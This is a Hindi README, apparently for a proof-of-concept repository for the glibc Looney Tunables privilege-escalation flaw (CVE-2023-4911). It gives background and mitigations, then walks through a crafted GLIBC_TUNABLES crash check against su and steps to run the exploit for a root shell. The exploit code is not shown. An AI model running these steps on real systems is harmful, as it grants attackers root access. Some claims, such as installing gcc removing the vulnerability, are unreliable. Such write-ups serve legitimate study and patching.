
ग्लिब के ld.so डायनेमिक लोडर में एक कमजोरी CVE-2023-4911 के प्रभाव को प्रदर्शित करने वाला एक प्रूफ ऑफ कॉन्सेप्ट (PoC) युक्त रिपॉजिटरी, जो लूनी ट्यूनेबल्स से संबंधित जोखिमों को उजागर करता है।
GNU C Library (glibc) GNU प्रणाली में C लाइब्रेरी के रूप में कार्य करता है और Linux-आधारित प्रणालियों के लिए अभिन्न है। इसके मूल में, glibc प्रोग्रामों के लिए आवश्यक कार्यक्षमताओं को परिभाषित करता है, जिसमें सिस्टम कॉल और open, malloc, printf, और exit जैसे सामान्य फ़ंक्शन शामिल हैं। डायनामिक लोडर, glibc का एक महत्वपूर्ण घटक, साझा लाइब्रेरीज़ को प्रबंधित करके और उन्हें रनटाइम पर लिंक करके प्रोग्रामों को तैयार और निष्पादित करने में महत्वपूर्ण भूमिका निभाता है।
पुनर्संकलन के बिना उपयोगकर्ताओं को सशक्त बनाने के लिए शुरू किया गया, GLIBC_TUNABLES पर्यावरण चर उपयोगकर्ताओं को रनटाइम पर glibc के व्यवहार को संशोधित करने देता है। यह प्रदर्शन और व्यवहार पैरामीटर को समायोजित करने का एक साधन प्रदान करता है, जो एप्लिकेशन स्टार्टअप को प्रभावित करता है।
डायनामिक लोडर द्वारा GLIBC_TUNABLES के प्रसंस्करण में एक बफर ओवरफ्लो भेद्यता एक गंभीर सुरक्षा जोखिम पैदा करती है। इसका शोषण स्थानीय हमलावरों को उन्नत विशेषाधिकार प्रदान करता है, जो संभावित रूप से पूर्ण रूट पहुंच की ओर ले जाता है। Fedora, Ubuntu, और Debian जैसे प्रमुख वितरणों पर सफल शोषण गंभीरता और व्यापक प्रभाव को रेखांकित करता है।
इस भेद्यता के दुरुपयोग या शोषण से सिस्टम प्रदर्शन, विश्वसनीयता और सुरक्षा प्रभावित हो सकती है। जबकि शोषण विवरण रोके गए हैं, जोखिम आसन्न है, क्योंकि बफर ओवरफ्लो जल्दी से डेटा-ओनली हमलों में बदल सकते हैं। glibc का उपयोग करने वाले लोकप्रिय Linux वितरण संवेदनशील हो सकते हैं, जो त्वरित जागरूकता और शमन की आवश्यकता पर जोर देते हैं।
निर्धारित: 3 अक्टूबर, 2023
प्रकार: स्थानीय विशेषाधिकार वृद्धि
प्रभावित संस्करण: glibc 2.34 और बाद के
वितरण: RHEL, Ubuntu, Fedora, Debian, Amazon Linux, Gentoo, और glibc का उपयोग करने वाले अन्य
शमन
उन्नयन: glibc अपडेट तुरंत लागू करें।
निगरानी: सुरक्षा सलाहकारों के बारे में सूचित रहें।
समीक्षा: एप्लिकेशन में GLIBC_TUNABLES के उपयोग का आकलन करें।
ऑडिट: संदिग्ध गतिविधि के लिए सिस्टम लॉग की जांच करें।
Ubuntu 22.04 Ubuntu GLIBC 2.35-0ubuntu3.1 su from util-linux 2.37.2 ASLR ON
आभासी मशीन बनाने के लिए Ubuntu (संस्करण 22.04.1) iso का उपयोग किया
सफल स्थापना के बाद हमें कुछ भी अपडेट करने की आवश्यकता नहीं है, लेकिन हम git और GNU Binutils पैकेज स्थापित करेंगे क्योंकि यह सिस्टम में नहीं मिलता है, और जब आप शोषण पायथन स्क्रिप्ट को संकलित करते हैं तो आपको त्रुटि का सामना करना पड़ेगा।
इन कमांडों का उपयोग करके:
$ sudo apt install git
$ sudo apt install binutils
जांचें कि क्या यह संवेदनशील है
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
यदि यह
Segmentation fault (core dumped)आउटपुट करता है तो यह संवेदनशील है।
डायनामिक लिंकर/लोडर का संस्करण जांचें, जो अक्सर GNU C Library (glibc) से जुड़ा होता है
$ ldd --version
आउटपुट GLIBC का संस्करण देगा
ldd (Ubuntu GLIBC 2.35-0ubuntu3.6) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
अब जब हम जानते हैं कि हमारी मशीन संवेदनशील है और रूट विशेषाधिकारों को बढ़ाने के लिए तैयार है
नोट: हमें मशीन में gcc स्थापित नहीं करना चाहिए, यदि हम इसे स्थापित करते हैं तो यह अपनी भेद्यता खो देगी, इसलिए स्क्रिप्ट काम नहीं करेगी।
चूंकि हमारे पास gcc स्थापित नहीं है और हमें C प्रोग्राम को होस्ट मशीन में संकलित करना होगा और फिर इसे गेस्ट मशीन में आयात करना होगा।
हम इस कमांड के साथ C प्रोग्राम को संकलित कर सकते हैं
$ gcc exploit.c -o (outputname)
C प्रोग्राम की आउटपुट फ़ाइल आयात करने के बाद पायथन (genlib.py) स्क्रिप्ट भी आयात करें।
अब पायथन स्क्रिप्ट संकलित करें
$ python3 genlib.py
संकलन के बाद एक '"' फ़ोल्डर बनाया जाता है।
हम इसे /tmp फ़ोल्डर में करेंगे ताकि उपयोगकर्ता स्क्रिप्ट और प्रोग्राम निष्पादित कर सके
अब अंत में हम रूट विशेषाधिकारों को बढ़ाने के लिए प्रोग्राम निष्पादित करेंगे
$ ./(nameoftheprogram)
इसमें कुछ समय लगेगा और रूट शेल प्राप्त होगा।
सशक्त बनाने के लिए सुरक्षित, शोषण के लिए नहीं!
सन्दर्भ: